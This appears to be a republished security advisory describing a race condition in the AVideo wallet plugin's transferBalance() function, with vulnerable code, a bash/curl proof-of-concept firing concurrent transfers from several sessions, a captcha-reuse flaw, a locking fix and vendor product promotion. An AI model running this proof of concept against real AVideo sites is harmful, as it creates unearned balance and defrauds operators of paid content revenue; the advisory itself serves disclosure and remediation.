GHSA-h54m-c522-h6qr
MEDIUMAVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.
Details
The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:
// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;
// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
return false;
}
// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();
// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();
The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.
Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.
Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.
Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.
PoC
# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)
TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123 # recipient user ID
# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS
for i in $(seq 1 5); do
# Login and capture session cookie
COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
-d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
# Load captcha to populate $_SESSION['palavra']
curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
SESSIONS[$i]=$COOKIE
echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done
# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
"$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
-d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait
# Expected result:
# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)
# - Accomplice balance: credited $10 x N successful races (up to $50)
# - Net money created from nothing: up to $40
Impact
An authenticated attacker can exploit this race condition to:
- Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.
- Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment.
- Bypass subscription fees: Use inflated balance to purchase subscriptions.
- Financial integrity compromise: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.
The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.
Recommended Fix
Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:
public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false)
{
global $global;
// ... existing auth and validation checks ...
$amount = floatval($amount);
if ($amount <= 0) {
return false;
}
// Use a database transaction with row-level locking
$global['mysqli']->autocommit(false);
$global['mysqli']->begin_transaction();
try {
// Lock sender row and read balance atomically
$sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("i", $fromUserId);
$stmt->execute();
$result = $stmt->get_result();
$senderRow = $result->fetch_assoc();
$stmt->close();
if (empty($senderRow)) {
$global['mysqli']->rollback();
return false;
}
$senderBalance = floatval($senderRow['balance']);
$senderNewBalance = $senderBalance - $amount;
if ($senderNewBalance < 0) {
$global['mysqli']->rollback();
return false;
}
// Atomic deduction
$sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount);
$stmt->execute();
if ($stmt->affected_rows === 0) {
$global['mysqli']->rollback();
$stmt->close();
return false;
}
$stmt->close();
// Credit receiver (also locked)
$sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("i", $toUserId);
$stmt->execute();
$result = $stmt->get_result();
$receiverRow = $result->fetch_assoc();
$stmt->close();
$receiverNewBalance = floatval($receiverRow['balance']) + $amount;
$sql = "UPDATE wallet SET balance = ? WHERE id = ?";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']);
$stmt->execute();
$stmt->close();
$global['mysqli']->commit();
// ... log entries ...
} catch (Exception $e) {
$global['mysqli']->rollback();
return false;
} finally {
$global['mysqli']->autocommit(true);
}
}
Additionally, fix the captcha reuse issue in objects/captcha.php:58-73 by unsetting $_SESSION['palavra'] after successful validation:
public static function validation($word)
{
// ... existing checks ...
$validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
if ($validation) {
unset($_SESSION["palavra"]); // Consume the captcha token
}
return $validation;
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-h54m-c522-h6qr yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h54m-c522-h6qr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h54m-c522-h6qr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h54m-c522-h6qr in your dependencies?
O3 detects GHSA-h54m-c522-h6qr across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.